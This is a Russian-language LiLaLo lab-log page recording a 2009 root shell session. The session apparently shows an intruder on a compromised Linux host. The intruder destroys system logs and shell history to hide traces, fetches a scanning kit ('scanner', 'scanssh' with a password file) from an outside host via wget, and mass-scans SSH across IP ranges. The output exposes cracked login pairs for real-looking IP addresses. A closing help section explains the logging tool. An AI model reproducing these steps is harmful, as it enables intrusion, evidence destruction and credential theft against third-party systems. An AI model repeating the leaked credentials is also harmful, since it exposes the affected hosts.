Журнал лабораторных работ

Содержание

Журнал

Понедельник (06/08/09)

/dev/pts/0
23:09:36
#id
uid=0(root) gid=0(root) groups=0(root)
23:09:39
#unset HISTFILE

23:09:53
#unset HISTSAVE

23:09:53
#history -n

23:09:53
#unset WATCH

23:09:53
#export HISTFILE=/dev/null
rm -rf /var/run/wtmp -
23:09:53
#rm -rf .bash_history

23:09:53
#rm -rf /var/run/utmp
rm -rf /var/log/lastlog
23:09:53
#rm -rf /var/run/wtmp -

23:09:53
#rm -rf /var/log/lastlog

23:09:53
#rm -rf /usr/adm/lastlog

23:09:54
#rm -rf .bash_history
cd /var/log/
23:09:54
#cd /var/log/

23:09:54
#rm -rf wtmp

23:09:54
#rm -rf secure

23:09:54
#rm -rf lastlog
rm -rf messages
touch messagess
touch wtmp
touch secure
touch lastlog
cd /root
rm -rf .bash_history
23:09:54
#rm -rf messages

23:09:54
#touch messagess

23:09:54
#touch wtmp

23:09:54
#touch secure

23:09:54
#touch lastlog

23:09:54
#cd /root

23:09:54
#rm -rf .bash_history

23:09:54
#touch .bash_history

23:09:54
#whereis zlib
zlib:
23:10:13
#whereis libcrypto.a
libcrypto:
23:10:14
#cd /dev/shm

23:10:17
#wget http://members.lycos.co.uk/pglro/sz/zlib-1.2.3.tar.gz
--2009-06-08 20:10:32--  http://members.lycos.co.uk/pglro/sz/zlib-1.2.3.tar.gz
Resolving members.lycos.co.uk... 213.131.252.251
Connecting to members.lycos.co.uk|213.131.252.251|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [application/x-gzip]
Saving to: `zlib-1.2.3.tar.gz'
    [             <=>                       ] 496,597      172K/s   in 2.8s
2009-06-08 20:10:36 (172 KB/s) - `zlib-1.2.3.tar.gz' saved [496597]
23:10:36
#tar -zxvf zlib*
zlib-1.2.3/contrib/masm686/match.asm
zlib-1.2.3/contrib/masmx64/
zlib-1.2.3/contrib/masmx64/bld_ml64.bat
zlib-1.2.3/contrib/masmx64/gvmat64.asm
zlib-1.2.3/contrib/masmx64/gvmat64.obj
zlib-1.2.3/contrib/masmx64/inffas8664.c
zlib-1.2.3/contrib/masmx64/inffasx64.asm
zlib-1.2.3/contrib/masmx64/inffasx64.obj
zlib-1.2.3/contrib/masmx64/readme.txt
zlib-1.2.3/contrib/masmx86/
...
zlib-1.2.3/win32/Makefile.msc
zlib-1.2.3/win32/VisualC.txt
zlib-1.2.3/win32/zlib.def
zlib-1.2.3/win32/zlib1.rc
zlib-1.2.3/zconf.h
zlib-1.2.3/zconf.in.h
zlib-1.2.3/zlib.3
zlib-1.2.3/zlib.h
zlib-1.2.3/zutil.c
zlib-1.2.3/zutil.h
23:10:54
#ls -a
.  ..  2007  network  zlib-1.2.3  zlib-1.2.3.tar.gz
23:10:57
#rm -rf zlib-1.2.3.*

23:11:03
#cd zlib*

23:11:07
#ls -a
.              configure  FAQ         inflate.h     old        zconf.h
..             contrib    gzio.c      inftrees.c    projects   zconf.in.h
adler32.c      crc32.c    INDEX       inftrees.h    qnx        zlib.3
algorithm.txt  crc32.h    infback.c   Makefile      README     zlib.h
amiga          deflate.c  inffast.c   Makefile.in   trees.c    zutil.c
as400          deflate.h  inffast.h   make_vms.com  trees.h    zutil.h
ChangeLog      example.c  inffixed.h  minigzip.c    uncompr.c
compress.c     examples   inflate.c   msdos         win32
23:11:08
#./configure
Checking for gcc...
Building static library libz.a version 1.2.3 with gcc.
Checking for unistd.h... Yes.
Checking whether to use vs[n]printf() or s[n]printf()... using vs[n]printf()
Checking for vsnprintf() in stdio.h... Yes.
Checking for return value of vsnprintf()... Yes.
Checking for errno.h... Yes.
Checking for mmap support... Yes.
23:11:11
#make
gcc -O3 -DUSE_MMAP   -c -o example.o example.c
gcc -O3 -DUSE_MMAP   -c -o adler32.o adler32.c
gcc -O3 -DUSE_MMAP   -c -o compress.o compress.c
gcc -O3 -DUSE_MMAP   -c -o crc32.o crc32.c
gcc -O3 -DUSE_MMAP   -c -o gzio.o gzio.c
gcc -O3 -DUSE_MMAP   -c -o uncompr.o uncompr.c
gcc -O3 -DUSE_MMAP   -c -o deflate.o deflate.c
gcc -O3 -DUSE_MMAP   -c -o trees.o trees.c
gcc -O3 -DUSE_MMAP   -c -o zutil.o zutil.c
gcc -O3 -DUSE_MMAP   -c -o inflate.o inflate.c
gcc -O3 -DUSE_MMAP   -c -o infback.o infback.c
gcc -O3 -DUSE_MMAP   -c -o inftrees.o inftrees.c
gcc -O3 -DUSE_MMAP   -c -o inffast.o inffast.c
ar rc libz.a adler32.o compress.o crc32.o gzio.o uncompr.o deflate.o trees.o zutil.o inflate.o infback.o inftrees.o inffast.o
gcc -O3 -DUSE_MMAP -o example example.o -L. libz.a
gcc -O3 -DUSE_MMAP   -c -o minigzip.o minigzip.c
gcc -O3 -DUSE_MMAP -o minigzip minigzip.o -L. libz.a
23:11:15
#make install
cp zlib.h zconf.h /usr/local/include
chmod 644 /usr/local/include/zlib.h /usr/local/include/zconf.h
cp libz.a /usr/local/lib
cd /usr/local/lib; chmod 755 libz.a
cd /usr/local/lib; if test -f libz.so.1.2.3; then \
          rm -f libz.so libz.so.1; \
          ln -s libz.so.1.2.3 libz.so; \
          ln -s libz.so.1.2.3 libz.so.1; \
          (ldconfig || true)  >/dev/null 2>&1; \
        fi
cp zlib.3 /usr/local/share/man/man3
chmod 644 /usr/local/share/man/man3/zlib.3
23:11:47
#cp zlib.h /usr/include

23:11:55
#cd ..

23:12:00
#ls -a
.  ..  2007  network  zlib-1.2.3
23:12:01
#rm -rf zlib*

23:12:04
#wget http://members.lycos.co.uk/pglro/sz/openssl-0.9.7i.tar.gz
--2009-06-08 20:12:11--  http://members.lycos.co.uk/pglro/sz/openssl-0.9.7i.tar.gz
Resolving members.lycos.co.uk... 213.131.252.251
Connecting to members.lycos.co.uk|213.131.252.251|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [application/x-gzip]
Saving to: `openssl-0.9.7i.tar.gz'
    [                   <=>                 ] 3,280,907    111K/s   in 31s
2009-06-08 20:12:42 (103 KB/s) - `openssl-0.9.7i.tar.gz' saved [3280907]
23:12:42
#tar -zxvf open*
openssl-0.9.7i/demos/tunala/A-client.pem
openssl-0.9.7i/demos/tunala/A-server.pem
openssl-0.9.7i/demos/tunala/autogunk.sh
openssl-0.9.7i/demos/tunala/autoungunk.sh
openssl-0.9.7i/demos/tunala/breakage.c
openssl-0.9.7i/demos/tunala/buffer.c
openssl-0.9.7i/demos/tunala/CA.pem
openssl-0.9.7i/demos/tunala/cb.c
openssl-0.9.7i/demos/tunala/configure.in
openssl-0.9.7i/demos/tunala/INSTALL
...
openssl-0.9.7i/doc/crypto/DSA_set_method.pod
openssl-0.9.7i/doc/crypto/DSA_SIG_new.pod
openssl-0.9.7i/doc/crypto/DSA_sign.pod
openssl-0.9.7i/doc/crypto/DSA_size.pod
openssl-0.9.7i/doc/crypto/engine.pod
openssl-0.9.7i/doc/crypto/ERR_clear_error.pod
openssl-0.9.7i/doc/crypto/ERR_error_string.pod
openssl-0.9.7i/doc/crypto/ERR_get_error.pod
openssl-0.9.7i/doc/crypto/ERR_GET_LIB.pod
openssl-0.9.7i/doc/crypto/ERR_load_crypto_strings.pod
23:12:54
#ls -a
.  ..  2007  network  openssl-0.9.7i  openssl-0.9.7i.tar.gz
23:12:57
#rm -rf openssl-0.9.7i.tar.gz

23:13:02
#cd open*

23:13:09
#./config
stack.h => ../../include/openssl/stack.h
safestack.h => ../../include/openssl/safestack.h
make[2]: Leaving directory `/dev/shm/openssl-0.9.7i/crypto/stack'
making links in crypto/lhash...
make[2]: Entering directory `/dev/shm/openssl-0.9.7i/crypto/lhash'
lhash.h => ../../include/openssl/lhash.h
make[2]: Leaving directory `/dev/shm/openssl-0.9.7i/crypto/lhash'
making links in crypto/rand...
make[2]: Entering directory `/dev/shm/openssl-0.9.7i/crypto/rand'
rand.h => ../../include/openssl/rand.h
...
make[1]: Leaving directory `/dev/shm/openssl-0.9.7i/test'
making links in tools...
make[1]: Entering directory `/dev/shm/openssl-0.9.7i/tools'
make[1]: Nothing to be done for `links'.
make[1]: Leaving directory `/dev/shm/openssl-0.9.7i/tools'
generating dummy tests (if needed)...
make[1]: Entering directory `/dev/shm/openssl-0.9.7i/test'
make[1]: Nothing to be done for `generate'.
make[1]: Leaving directory `/dev/shm/openssl-0.9.7i/test'
Configured for linux-elf.
23:13:19
#make
making all in crypto...
make[1]: Entering directory `/dev/shm/openssl-0.9.7i/crypto'
( echo "#ifndef MK1MF_BUILD"; \
        echo '  /* auto-generated by crypto/Makefile for crypto/cversion.c */'; \
        echo '  #define CFLAGS "gcc -DOPENSSL_THREADS -D_REENTRANT -DDSO_DLFCN -DHAVE_DLFCN_H -DOPENSSL_NO_KRB5 -DL_ENDIAN -DTERMIO -O3 -fomit-frame-pointer -m486 -Wall -DSHA1_ASM -DMD5_ASM -DRMD160_ASM"'; \
        echo '  #define PLATFORM "linux-elf"'; \
        echo "  #define DATE \"`LC_ALL=C LC_TIME=C date`\""; \
        echo '#endif' ) >buildinf.h
gcc -I. -I.. -I../include -DOPENSSL_THREADS -D_REENTRANT -DDSO_DLFCN -DHAVE_DLFCN_H -DOPENSSL_NO_KRB5 -DL_ENDIAN -DTERMIO -O3 -fomit-frame-pointer -m486 -Wall -DSHA1_ASM -DMD5_ASM -DRMD160_ASM   -c -o cryptlib.o cryptlib.c
cc1: error: unrecognized command line option "-m486"
make[1]: *** [cryptlib.o] Error 1
make[1]: Leaving directory `/dev/shm/openssl-0.9.7i/crypto'
make: *** [sub_all] Error 1
23:13:20
#make install
making all in crypto...
make[1]: Entering directory `/dev/shm/openssl-0.9.7i/crypto'
gcc -I. -I.. -I../include -DOPENSSL_THREADS -D_REENTRANT -DDSO_DLFCN -DHAVE_DLFCN_H -DOPENSSL_NO_KRB5 -DL_ENDIAN -DTERMIO -O3 -fomit-frame-pointer -m486 -Wall -DSHA1_ASM -DMD5_ASM -DRMD160_ASM   -c -o cryptlib.o cryptlib.c
cc1: error: unrecognized command line option "-m486"
make[1]: *** [cryptlib.o] Error 1
make[1]: Leaving directory `/dev/shm/openssl-0.9.7i/crypto'
make: *** [sub_all] Error 1
23:13:23
#cd ..

23:13:38
#rm -rf open*

23:13:40
#ls -a
.  ..  2007  network
23:13:41
#cd /lib/lsb

23:15:01
#wget clu.ru.me/1.tar.gz
--2009-06-08 20:15:29--  http://clu.ru.me/1.tar.gz
Resolving clu.ru.me... 212.26.146.51
Connecting to clu.ru.me|212.26.146.51|:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2009-06-08 20:15:30 ERROR 404: Not Found.
23:15:30
#wget clu.ru/me/1.tar.gz
--2009-06-08 20:15:36--  http://clu.ru/me/1.tar.gz
Resolving clu.ru... 90.157.126.154
Connecting to clu.ru|90.157.126.154|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1082578 (1.0M) [application/x-gzip]
Saving to: `1.tar.gz'
100%[======================================>] 1,082,578   33.6K/s   in 24s
2009-06-08 20:16:01 (44.8 KB/s) - `1.tar.gz' saved [1082578/1082578]
23:16:01
#tar -zxvf 1.*
1/
1/scanner
1/scanssh
1/passfile
1/scanner.c
1/scanssh.c
23:16:03
#ls -a
.  ..  1  1.tar.gz  init-functions
23:16:04
#rm -rf 1.*

23:16:06
#cd 1

23:16:06
#ls -a
.  ..  passfile  scanner  scanner.c  scanssh  scanssh.c
23:16:07
#./scanner 22 -b 194.153 -s 5
194.153.149.253
194.153.149.254
194.153.150.5
194.153.150.13
194.153.150.6
194.153.150.17
194.153.150.7
194.153.150.16
194.153.150.60
194.153.150.99
...
194.153.254.34
194.153.254.90
194.153.254.222
194.153.255.17
194.153.255.255
aici trebuie stop
194.153.188.154
194.153.131.1
194.153.131.4
194.153.240.161
23:17:54
#screen ./scanssh
23:18:00
#./scanssh
194.153.135.11
194.153.135.11
194.153.135.11
194.153.135.11
194.153.135.11
194.153.135.11
194.153.135.11
194.153.135.11
194.153.135.11
194.153.135.11
...
194.153.226.129
194.153.227.2
194.153.227.3
194.153.227.7
194.153.227.6
194.153.231.1
194.153.231.81
194.153.231.100
194.153.231.126
194.153.231.129

Вторник (06/09/09)

00:00:36
#cat tru*
194.153.91.66:support:support
00:00:38
#rm -rf tru*

00:01:38
#rm -rf bio*

00:01:42
#./scaner 22 -b 217.172 -s 5
bash: ./scaner: No such file or directory
00:01:54
#./scanner 22 -b 217.172 -s 5
217.172.188.24
217.172.188.32
217.172.188.40
217.172.188.38
217.172.188.41
217.172.188.56
217.172.188.64
217.172.188.48
217.172.188.46
217.172.188.61
...
217.172.183.110
217.172.239.58
217.172.248.61
217.172.249.21
217.172.250.37
217.172.251.198
217.172.255.255
aici trebuie stop
217.172.239.58
217.172.149.52
00:03:33
#./scanssh
217.172.43.247
217.172.43.241
217.172.43.253
217.172.54.28
217.172.54.29
217.172.54.31
217.172.54.32
217.172.54.30
217.172.54.36
217.172.54.34
...
217.172.112.20
217.172.112.11
217.172.112.1
217.172.112.8
217.172.112.9
217.172.112.13
217.172.112.3
217.172.112.21
found user
217.172.112.30
прошло 52 минуты
00:55:59
#ls -a
.   bios.txt  scanner    scanssh    trueusers.txt
..  passfile  scanner.c  scanssh.c
00:56:00
#cat tru*
217.172.20.97:anonymous:anonymous
00:56:01
#rm -rf tru*

00:56:25
#rm -rf bio*

00:56:28
#./scanner 22 -b 22 140.187 -s 5
usec: 60000, burst packets 50
00:59:11
#./scanner 22 -b 22 140.186 -s 5
usec: 60000, burst packets 50
00:59:16
#./scanner 22 -b 22 140.185 -s 5
usec: 60000, burst packets 50
22.0.255.255
aici trebuie stop
01:00:53
#./scanner 22 -b 22 140.190 -s 5
usec: 60000, burst packets 50
01:01:38
#./scanner 22 -b 22 140.181 -s 5
usec: 60000, burst packets 50
22.0.255.255
aici trebuie stop
01:03:18
#./scanner 22 -b 22 218.172 -s 5
usec: 60000, burst packets 50
22.0.255.255
aici trebuie stop
01:05:41
#./scanner 22 -b 22 83.158 -s 5
usec: 60000, burst packets 50
01:07:00
#./scanner 22 -b 22 86.120 -s 5
usec: 60000, burst packets 50
22.0.255.255
aici trebuie stop
01:08:49
#./scanner 22 -b 22 82.146 -s 5
usec: 60000, burst packets 50
01:13:05
#./scanner 22 -b 22 88.191 -s 5
usec: 60000, burst packets 50
01:13:19
#cd ..

01:13:20
#ls -a
.  ..  1  init-functions
01:13:21
#rm rf 1
rm: cannot remove `rf': No such file or directory
rm: cannot remove `1': Is a directory
01:13:22
#rm -rf 1

01:13:28
#ls -a
.  ..  init-functions

Файлы

  • tru*
  • tru*
    >
    217.172.20.97:anonymous:anonymous
    

    Статистика

    Время первой команды журнала23:09:36 2009- 6- 8
    Время последней команды журнала01:13:28 2009- 6- 9
    Количество командных строк в журнале87
    Процент команд с ненулевым кодом завершения, % 5.75
    Процент синтаксически неверно набранных команд, % 2.30
    Суммарное время работы с терминалом *, час 0.48
    Количество командных строк в единицу времени, команда/мин 3.02
    Частота использования команд
    rm22|=========================| 25.29%
    scanner12|=============| 13.79%
    cd10|===========| 11.49%
    ls10|===========| 11.49%
    touch5|=====| 5.75%
    wget4|====| 4.60%
    make4|====| 4.60%
    unset3|===| 3.45%
    tar3|===| 3.45%
    scanssh2|==| 2.30%
    whereis2|==| 2.30%
    cat2|==| 2.30%
    config1|=| 1.15%
    configure1|=| 1.15%
    screen1|=| 1.15%
    cp1|=| 1.15%
    history1|=| 1.15%
    export1|=| 1.15%
    id1|=| 1.15%
    scaner1|=| 1.15%
    ____
    *) Интервалы неактивности длительностью 30 минут и более не учитываются

    Справка

    Для того чтобы использовать LiLaLo, не нужно знать ничего особенного: всё происходит само собой. Однако, чтобы ведение и последующее использование журналов было как можно более эффективным, желательно иметь в виду следующее:
    1. В журнал автоматически попадают все команды, данные в любом терминале системы.

    2. Для того чтобы убедиться, что журнал на текущем терминале ведётся, и команды записываются, дайте команду w. В поле WHAT, соответствующем текущему терминалу, должна быть указана программа script.

    3. Команды, при наборе которых были допущены синтаксические ошибки, выводятся перечёркнутым текстом:
      $ l s-l
      bash: l: command not found
      

    4. Если код завершения команды равен нулю, команда была выполнена без ошибок. Команды, код завершения которых отличен от нуля, выделяются цветом.
      $ test 5 -lt 4
      Обратите внимание на то, что код завершения команды может быть отличен от нуля не только в тех случаях, когда команда была выполнена с ошибкой. Многие команды используют код завершения, например, для того чтобы показать результаты проверки

    5. Команды, ход выполнения которых был прерван пользователем, выделяются цветом.
      $ find / -name abc
      find: /home/devi-orig/.gnome2: Keine Berechtigung
      find: /home/devi-orig/.gnome2_private: Keine Berechtigung
      find: /home/devi-orig/.nautilus/metafiles: Keine Berechtigung
      find: /home/devi-orig/.metacity: Keine Berechtigung
      find: /home/devi-orig/.inkscape: Keine Berechtigung
      ^C
      

    6. Команды, выполненные с привилегиями суперпользователя, выделяются слева красной чертой.
      # id
      uid=0(root) gid=0(root) Gruppen=0(root)
      

    7. Изменения, внесённые в текстовый файл с помощью редактора, запоминаются и показываются в журнале в формате ed. Строки, начинающиеся символом "<", удалены, а строки, начинающиеся символом ">" -- добавлены.
      $ vi ~/.bashrc
      2a3,5
      >    if [ -f /usr/local/etc/bash_completion ]; then
      >         . /usr/local/etc/bash_completion
      >        fi
      

    8. Для того чтобы изменить файл в соответствии с показанными в диффшоте изменениями, можно воспользоваться командой patch. Нужно скопировать изменения, запустить программу patch, указав в качестве её аргумента файл, к которому применяются изменения, и всавить скопированный текст:
      $ patch ~/.bashrc
      В данном случае изменения применяются к файлу ~/.bashrc

    9. Для того чтобы получить краткую справочную информацию о команде, нужно подвести к ней мышь. Во всплывающей подсказке появится краткое описание команды.

      Если справочная информация о команде есть, команда выделяется голубым фоном, например: vi. Если справочная информация отсутствует, команда выделяется розовым фоном, например: notepad.exe. Справочная информация может отсутствовать в том случае, если (1) команда введена неверно; (2) если распознавание команды LiLaLo выполнено неверно; (3) если информация о команде неизвестна LiLaLo. Последнее возможно для редких команд.

    10. Большие, в особенности многострочные, всплывающие подсказки лучше всего показываются браузерами KDE Konqueror, Apple Safari и Microsoft Internet Explorer. В браузерах Mozilla и Firefox они отображаются не полностью, а вместо перевода строки выводится специальный символ.

    11. Время ввода команды, показанное в журнале, соответствует времени начала ввода командной строки, которое равно тому моменту, когда на терминале появилось приглашение интерпретатора

    12. Имя терминала, на котором была введена команда, показано в специальном блоке. Этот блок показывается только в том случае, если терминал текущей команды отличается от терминала предыдущей.

    13. Вывод не интересующих вас в настоящий момент элементов журнала, таких как время, имя терминала и других, можно отключить. Для этого нужно воспользоваться формой управления журналом вверху страницы.

    14. Небольшие комментарии к командам можно вставлять прямо из командной строки. Комментарий вводится прямо в командную строку, после символов #^ или #v. Символы ^ и v показывают направление выбора команды, к которой относится комментарий: ^ - к предыдущей, v - к следующей. Например, если в командной строке было введено:

      $ whoami
      
      user
      
      $ #^ Интересно, кто я?
      
      в журнале это будет выглядеть так:
      $ whoami
      
      user
      
      Интересно, кто я?

    15. Если комментарий содержит несколько строк, его можно вставить в журнал следующим образом:

      $ whoami
      
      user
      
      $ cat > /dev/null #^ Интересно, кто я?
      
      Программа whoami выводит имя пользователя, под которым 
      мы зарегистрировались в системе.
      -
      Она не может ответить на вопрос о нашем назначении 
      в этом мире.
      
      В журнале это будет выглядеть так:
      $ whoami
      user
      
      Интересно, кто я?
      Программа whoami выводит имя пользователя, под которым
      мы зарегистрировались в системе.

      Она не может ответить на вопрос о нашем назначении
      в этом мире.
      Для разделения нескольких абзацев между собой используйте символ "-", один в строке.

    16. Комментарии, не относящиеся непосредственно ни к какой из команд, добавляются точно таким же способом, только вместо симолов #^ или #v нужно использовать символы #=

    17. Содержимое файла может быть показано в журнале. Для этого его нужно вывести с помощью программы cat. Если вывод команды отметить симоволами #!, содержимое файла будет показано в журнале в специально отведённой для этого секции.
    18. Для того чтобы вставить скриншот интересующего вас окна в журнал, нужно воспользоваться командой l3shot. После того как команда вызвана, нужно с помощью мыши выбрать окно, которое должно быть в журнале.
    19. Команды в журнале расположены в хронологическом порядке. Если две команды давались одна за другой, но на разных терминалах, в журнале они будут рядом, даже если они не имеют друг к другу никакого отношения.
      1
          2
      3   
          4
      
      Группы команд, выполненных на разных терминалах, разделяются специальной линией. Под этой линией в правом углу показано имя терминала, на котором выполнялись команды. Для того чтобы посмотреть команды только одного сенса, нужно щёкнуть по этому названию.

    О программе

    LiLaLo (L3) расшифровывается как Live Lab Log.
    Программа разработана для повышения эффективности обучения Unix/Linux-системам.
    (c) Игорь Чубин, 2004-2008

    $Id$